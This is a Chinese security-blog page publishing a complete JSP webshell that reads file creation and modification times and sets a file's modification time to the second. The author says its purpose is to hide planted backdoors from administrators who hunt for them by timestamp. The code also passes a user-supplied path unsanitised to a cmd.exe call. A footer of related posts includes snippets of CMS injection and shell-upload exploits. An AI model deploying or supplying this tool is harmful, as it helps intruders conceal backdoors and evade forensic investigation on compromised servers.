JSP 修改文件时间的WEBSHELL

所属分类: 网络安全 / 漏洞分析 阅读数: 112
收藏 0 赞 0 分享
JSP 修改文件时间的WEBSHELL
很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门,因此修改文件的创建与修改时间可以有效的预防后门的泄露。
昨天研究了下,JSP只提供了修改“文件修改时间”的接口,却没有提供修改“文件创建时间”的接口,因此貌似只能修改“文件修改时间 ”,kj021320的JSP SHELL有这个功能,不过只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决定自己写个小的shell!
主要功能:
1.文件的时间属性查看,包括修改时间与创建时间;
2.文件修改时间的修改,精确到秒;
代码如下:
(Apache Tomcat/6.0.18下运行通过!)

复制代码
代码如下:

<%@ page import="java.io.*" %>
<%@ page import="java.util.*, java.text.*" %>
<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>
<html>
<head>
<title>JSP timeshell by oldjun</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>
<body>
<H1>JSP timeshell by oldjun</H1>
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<form name= form1 method="post" action="?action=getinfo">
filepath:<input name="file" type="text" size="100" />
(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)

<input type="submit" name="Button" value="getinfo"/>
</form>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");
}
%>
filepath:

<%=filepath%>

lastModifiedtime:

<%=new Date(file.lastModified())%>

Createtime:

<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>

now:

<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<form name= form2 method="post" action="?action=change">
<input name="year" type="text" size="10"/>year
<input name="month" type="text" size="10"/>month
<input name="day" type="text" size="10"/>day
<input name="hour" type="text" size="10"/>hour
<input name="min" type="text" size="10"/>minute
<input name="sec" type="text" size="10"/>second
<input name="file" type="hidden" value="<%=filepath%>" />

<input type="submit" name="Button" value="change"/>
</form>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");
else
out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");
}
%>
</body>
</html>
更多精彩内容其他人还在看

.Net开发人员常犯的6大安全错误

  微软已经为.Net环境添加了大量的功能,帮助开发人员创建安全的应用程序,例如,身份验证已经成为开发环境集成的一个功能,另外,默认情况下调试消息被禁用掉了。微软对安全的关注程度极大地影响了开发人员,促使他们在软件开发过程中重新评估纳入安全保障的重要性。
收藏 0 赞 0 分享

科汛 KesionCMS 文件名解析漏洞

科汛cms,eshop系统建站第一品牌.专业提供开源cms项目定制服务及名片系统,在线输出,在线印刷,广告制作,在线图文下单系统提供商。
收藏 0 赞 0 分享

科讯 kesioncms 5.5以下漏洞拿shell方法原理总结(图文)

科讯做为一个强大的cms程序大多被政府和教育机构网站所使用,关于科讯的漏洞利用教程网上不是很多。由于科讯的后台登陆需要输入认证码,而认证码没有保存在数据库而是保存在asp文件中,所以在某种程度上增大了拿shell 的难度。下面就个版本拿shell 的方法做一总结。
收藏 0 赞 0 分享

DISCUZ X1.5 本地文件包含漏洞说明

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。
收藏 0 赞 0 分享

织梦网官方(dedecms)爆路径最新漏洞

  首发:红科网安   作者:Amxking   漏洞程序:dedecms5.5   测试对象:织梦网CMS官方网站   提交时间:2010-03-17   漏洞类型:信息泄露   危险等级:低   漏洞描述:   dedecms 5.5程序泄露网站路径信息。     测试地址:
收藏 0 赞 0 分享

ewebeditor通杀鸡肋0day漏洞

先访问这个地址 Editor/asp/upload.asp?action=save&type=image&style=popup&cusdir=a.asp 访问这个地址可以建立个A.ASP的文件夹…… 再用这个html代码
收藏 0 赞 0 分享

PHP漏洞全解

PHP网页的安全性问题,针对PHP的网站主要存在下面几种攻击方式
收藏 0 赞 0 分享

ecshop爆绝对路径的bug

  ecshop爆绝对路径的bug   网址如下"   http://www.zzfhw.com/ECShop/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/s
收藏 0 赞 0 分享

dedecms织梦 v5.5 两处跨站漏洞

  影响版本:   dedecms织梦5.5   漏洞描述:   demo1:http://www.dedecms.com/plus/search.php?keyword=%22>&searchtype=titlekeyword&channeltype=0&
收藏 0 赞 0 分享

dedecms 5.6的最新注入漏洞

  最新dedecms 5.6的注入代码:   http://www.dedecms.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28
收藏 0 赞 0 分享
查看更多